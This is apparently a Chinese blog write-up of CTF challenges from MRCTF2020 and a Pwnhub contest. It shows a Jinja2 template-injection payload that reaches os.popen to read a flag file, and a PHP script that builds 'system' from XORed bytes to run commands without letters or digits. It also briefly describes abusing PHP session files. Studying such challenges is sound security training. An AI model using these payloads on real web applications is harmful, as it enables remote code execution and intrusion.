2022/05/17

本文分享了在MRCTF2020比赛中遇到的两个挑战,包括TemplatePlay模块中的模板注入技巧,利用jinja2的undefined特性,以及MyNotes环节中对PHP session的反序列化漏洞利用。展示了如何构造利用链和绕过安全限制获取flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

[MRCTF2020]套娃

Pwnhub五月公开赛wp学习

1. TemplatePlay(模板注入)

通过阅读jinja源码可以发现,jinja2内的undefined ,并非是python本身的而是自身修改过的并且继承自object,这样就可以直接使用此对象查找魔术方法,构造利用链。
ads就是未定义的,未定义就可以很灵活

{{ads.__init__.__globals__.__builtins__.__import__("os").popen("cat+config/flag.txt").read()}}

2. MyNotes(session的反序列化)

Session 默认会以文本的形式存储在服务器的临时目录中,文件名以sess_作为前缀,后面加上Session ID,如sess_afdafsapcawervse。
在Cookie中PHPSESSID的值为服务器内部的文件名afdafsapcawervse,相关代码就会使用sess_afdafsapcawervse的信息
把一个文件通过控制名称变成session文件

无字母数字RCE

<?php
#system("dir");
$a1=urldecode('%08')^urldecode('%5b');//s
$a2=urldecode('%19')^urldecode('%60');//y
$a3=urldecode('%08')^urldecode('%5b');//s
$a4=urldecode('%28')^urldecode('%5c');//t
$a5=urldecode('%3a')^urldecode('%5f');//e
$a6=urldecode('%40')^urldecode('%2d');//m
$a7=urldecode('%5b')^urldecode('%3f');//d
$a8=urldecode('%60')^urldecode('%09');//i
$a9=urldecode('%60')^urldecode('%12');//r
$a10=urldecode('%7b')^urldecode('%1f');//d

($a1.$a2.$a3.$a4.$a5.$a6)($a7.$a8.$a9);
?>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值